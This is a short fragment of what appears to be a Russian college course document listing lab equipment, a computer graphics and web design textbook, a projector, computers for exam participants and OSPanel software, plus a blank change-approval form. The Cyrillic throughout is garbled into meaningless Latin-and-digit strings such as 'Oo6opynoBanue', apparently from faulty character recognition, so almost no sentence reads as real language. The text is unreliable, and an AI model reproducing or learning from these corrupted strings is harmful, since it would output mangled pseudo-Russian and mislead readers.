Oo6opynoBanue JadopaTopuii 1 pado4ux MecT JadopaTopuii:

Crymn WmxeHepHOW W KOMIBIOTEpHOH Tpaduku, Pa3paboTku au3aiiHa BeO-TIPHIIOKEHHIH,
ocHalieHHbIe B cooTBeTcTBUH C 1. 6.1.2.1. IIIICC3 1o crenuaibHOCTH:

OcHarniennbie 0a3bl MPakTUKH, B cooTBeTcTBUM C 11 6.2.3 [IIICC3 mo cnenuanbHOCTH.

OcHOBHBIC HCTOYHHMKH:
1. KomnbrotepHas rpaduka u web-auzaiin: Ya.noc. / [lox pen. INarapuna JI.T'.-M.:11J] ®OPYM,HUL]
NH®PA-M, 2021-400c

Oo6opynoBanue:
MynbTUMEUIHBIN TpoeKTop -1

KommproTep — Ha KaX0r0 y4acTHUKA YK3aMEHAIIMOHHON PaboThI
CocraB nporpamMmmuoro obdecreuerusi: OSPanel



Jlucr cornacoBanus
Jlononnenusi u n3mMeHeHus: K komiuiekty KOC Ha y4eOHblii roa
Jomonmuenust n m3menenuss Kk komiuiekty KOC ma 201. — 201. yueGHbIN TOA MO
po¢eCCHOHAIBHOMY MOJYJIIO

IIM.O..

B xommiiekT KOC BHeCEHBI CleyIOe U3MEHECHUS:

Jononuenust u u3mMmeHeHus1 B komruiekte KOC o6cyxaensl Ha 3aceannu MK

« » 20 r. (mpotokoi Ne ).

[Ipencenarens MK Hcaxosa O.B.

(moamuce)




